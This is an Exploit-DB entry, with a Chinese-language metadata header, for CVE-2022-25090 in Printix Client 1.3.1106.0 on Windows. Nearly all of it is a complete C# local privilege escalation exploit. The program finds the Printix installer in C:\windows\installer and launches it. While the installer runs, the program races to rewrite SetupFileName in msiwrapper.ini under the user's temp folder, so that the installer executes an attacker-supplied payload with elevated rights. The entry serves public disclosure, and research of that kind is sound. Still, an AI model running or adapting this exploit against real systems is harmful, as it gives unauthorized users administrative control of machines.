标题: Printix Client 1.3.1106.0 - Privilege Escalation EDB-ID: 50812 CVE: 2022-25090 类型: LOCAL 平台: WINDOWS 发布日期: 2022-03-09 漏洞利用脚本: # Exploit Title: Printix Client 1.3.1106.0 - Privilege Escalation
# Date: 3/2/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link:
https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25090
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25090

using System;
using System.Runtime.InteropServices;
using System.Drawing;

using System.Reflection;
using System.Threading;
using System.IO;
using System.Text;
using System.Resources;
using System.Diagnostics;

//Assembly COM for transparent creation of the application.

//End of Assembly COM For Transparent Creation usage.
public class Program
{
 //Initiator class for the program, the program starts on the main method.
 public static void Main(string[] args)
 {
  //Console.SetWindowSize(120,30);
  //Console.SetBufferSize(120,30);
  Console.ForegroundColor = ConsoleColor.Blue;
  Console.WriteLine("┌─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
  Console.WriteLine("├     oo dP                           dP                                ");
  Console.ForegroundColor = ConsoleColor.Red;
  Console.WriteLine("├        88                           88                                ");
  Console.ForegroundColor = ConsoleColor.Green;
  Console.WriteLine("├     dP 88d888b. .d8888b. d888888b d8888P .d8888b. 88d8b.d8b. 88d888b. ");
  Console.ForegroundColor = ConsoleColor.Blue;
  Console.WriteLine("├     88 88'  `88 88'  `88    .d8P'   88   88ooood8 88'`88'`88 88'  `88 ");
  Console.ForegroundColor = ConsoleColor.Yellow;
  Console.WriteLine("├     88 88    88 88.  .88  .Y8P      88   88.  ... 88  88  88 88.  .88 ");
  Console.ForegroundColor = ConsoleColor.Magenta;
  Console.WriteLine("├     dP dP    dP `88888P8 d888888P   dP   `88888P' dP  dP  dP 88Y888P' ");
  Console.WriteLine("├                                                              88       ");
  Console.WriteLine("├                                                              dP       ");
  Console.ForegroundColor = ConsoleColor.Blue;
  Console.Write("├                           For ");
  Console.ForegroundColor = ConsoleColor.Magenta;
  Console.Write("Printix ");
  Console.ForegroundColor = ConsoleColor.Blue;
  Console.Write("Services                       Designed By Logan Latvala\n");
  Console.WriteLine("└─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
  Thread.Sleep(3000);
  string filesH = "";
  Console.WriteLine("Drag and drop a payload onto this application for execution.");
  try
  {
   if (args[0]?.Length >0)
   {
    Console.WriteLine("File Added: " + args[0]);
   }
   
  }
  catch (Exception e)
  {
   Console.WriteLine("You\'re missing a file here, please ensure that you drag and drop a payload to execute.\n \n We'll print the error for you right here...\n \n");
   Console.ForegroundColor = ConsoleColor.Red;
   Console.WriteLine(e);
   Console.ReadLine();
   Environment.Exit(40);
  }


  Console.WriteLine("\n We're going to look for your printix installer, one moment...");
  string[] installerSearch = Directory.GetFiles(@"C:\windows\installer\", "*.msi", SearchOption.AllDirectories);

  double mCheck = 1.00;

  string trueInstaller = "";
  //Starts to enumerate window's installer directory for an author with the name of printix.
  foreach (string path in installerSearch)
  {
   Console.WriteLine("Searching Files: {0} / {1} Files", mCheck, installerSearch.Length);
   Console.WriteLine("Searching Files... " + (Math.Round((mCheck / installerSearch.Length) * 100)) + "% Done.");
   if (readFileProperties(path, "Printix"))
   {
    trueInstaller = path;
    Console.WriteLine("We've found your installer, we'll finish enumeration.");
    goto MGMA;
   }
   mCheck++;
  }
 //Flag for enumeration when the loop needs to exit, since it shouldn't loop infinitely.
 MGMA:
  if (trueInstaller == "")
  {
   Console.WriteLine("We can't find your installer, you are not vulnerable.");
   Thread.Sleep(2000);
   Environment.Exit(12);
  }
  Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
  Console.WriteLine("├ We are starting to enumerate your temporary directory.");
  Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");

  //Start a new thread here for enumeration.

  Thread t = new Thread(() => newTempThread(filesH, args));
  t.Start();



  Process.Start(trueInstaller);



  Console.WriteLine("All done.");
  Console.ReadLine();
 }
 public static void newTempThread(string filesH, string[] args)
 {
  while (true)
  {
   try
   {
    //Starts the inheriting process for printix, in which scans for the files and relays their contents.
    string[] files = Directory.GetFiles(@"C:\Users\" + Environment.UserName + @"\AppData\Local\Temp\", "msiwrapper.ini", SearchOption.AllDirectories);
    if (!string.IsNullOrEmpty(files[0]))
    {
     foreach (string fl in files)
     {
      if (!filesH.Contains(fl))
      {

       //filesH += " " + fl;
       string[] fileText = File.ReadAllLines(fl);
       int linerc = 0;
       foreach (string liners in fileText)
       {

        if (liners.Contains("SetupFileName"))
        {

         //Most likely the temporary directory for setup, which presents it properly.
         Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
         Console.WriteLine("├ " + fl);
         fileText[linerc] = @"SetupFileName=" + "\"" + args[0] + "\"";
         Console.WriteLine("├ " + fileText[linerc] + "");
         Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
         Console.WriteLine("│");
         filesH += " " + fl;

         File.WriteAllText(fl, string.Empty);
         File.WriteAllLines(fl, fileText);
        }
        linerc++;
       }
      }
     }
    }
   }
   catch (Exception e) { Console.WriteLine("There was an error, try re-running the program. \n" + e); Console.ReadLine(); }

   Thread.Sleep(20);
  }
 }
 public static bool readFileProperties(string file, string filter)
 {
  System.Diagnostics.Process process = new System.Diagnostics.Process();
  System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
  startInfo.UseShellExecute = false;
  startInfo.RedirectStandardOutput = true;
  startInfo.FileName = "CMD.exe";
  startInfo.Arguments = "/c PowerShell -Command \"$FilePath='" + file + "'; Write-Host ((New-Object -COMObject Shell.Application).NameSpace((Split-Path -Parent -Path $FilePath))).ParseName((Split-Path -Leaf -Path $FilePath)).ExtendedProperty('System.Author')\"";
  process.StartInfo = startInfo;
  process.Start();
  string output = process.StandardOutput.ReadToEnd();
  process.WaitForExit();
  if (output.Contains(filter)) { return true; }
  else { return false; }
  //wmic datafile where Name="F:\\ekojs.txt" get Description,Path,Status,Version
 }
} URL: https://www.exploit-db.com/exploits/50812